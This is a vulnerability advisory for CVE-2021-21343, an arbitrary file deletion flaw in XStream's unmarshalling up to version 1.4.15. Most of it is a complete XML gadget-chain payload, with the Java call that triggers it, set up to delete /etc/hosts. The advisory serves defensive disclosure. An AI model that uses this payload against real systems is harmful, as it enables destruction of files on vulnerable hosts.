CVE-2021-21343

Vulnerability

CVE-2021-21343: XStream is vulnerable to an Arbitrary File Deletion on the local host when unmarshalling as long as the executing process has sufficient rights.

Affected Versions

All versions until and including version 1.4.15 are affected, if using the version out of the box. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

Description

The processed stream at unmarshalling time contains type information to recreate the formerly written objects. XStream creates therefore new instances based on these type information. An attacker can manipulate the processed input stream and replace or inject objects, that result in the deletion of a file on the local host.

Steps to Reproduce

Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and unmarshal it again with XStream:

```
<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
      <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
        <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
          <packet>
            <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
              <dataSource class='com.sun.xml.internal.ws.encoding.MIMEPartStreamingDataHandler$StreamingDataSource'>
                <part>
                  <dataHead>
                    <tail/>
                    <head>
                      <data class='com.sun.xml.internal.org.jvnet.mimepull.MemoryData'>
                        <len>3</len>
                        <data>AQID</data>
                      </data>
                    </head>
                  </dataHead>
                  <contentTransferEncoding>base64</contentTransferEncoding>
                  <msg>
                    <it class='java.util.ArrayList$Itr'>
                      <cursor>0</cursor>
                      <lastRet>1</lastRet>
                      <expectedModCount>4</expectedModCount>
                        <outer-class>
                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                          <com.sun.xml.internal.org.jvnet.mimepull.MIMEEvent_-EndMessage/>
                        </outer-class>
                    </it>
                    <in class='java.io.FileInputStream'>
                      <fd/>
                      <channel class='sun.nio.ch.FileChannelImpl'>
                        <closeLock/>
                        <open>true</open>
                        <threads>
                          <used>-1</used>
                        </threads>
                        <parent class='sun.plugin2.ipc.unix.DomainSocketNamedPipe'>
                          <sockClient>
                            <fileName>/etc/hosts</fileName>
                            <unlinkFile>true</unlinkFile>
                          </sockClient>
                          <connectionSync/>
                        </parent>
                      </channel>
                      <closeLock/>
                    </in>
                  </msg>
                </part>
              </dataSource>
            </message>
            <satellites/>
            <invocationProperties/>
          </packet>
        </indexMap>
      </comparator>
    </default>
    <int>3</int>
    <string>javax.xml.ws.binding.attachments.inbound</string>
    <string>javax.xml.ws.binding.attachments.inbound</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>
```

```
XStream xstream = new XStream();
xstream.fromXML(xml);
```

As soon as the XML gets unmarshalled, the payload gets executed and the references file is deleted.

Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.

Impact

The vulnerability may allow a remote attacker to delete arbitrary know files on the host as log as the executing process has sufficient rights only by manipulating the processed input stream.

Workarounds

See workarounds for the different versions covering all CVEs.

Credits

钟谅贵 (Liaogui Zhong) found and reported the issue to XStream and provided the required information to reproduce it.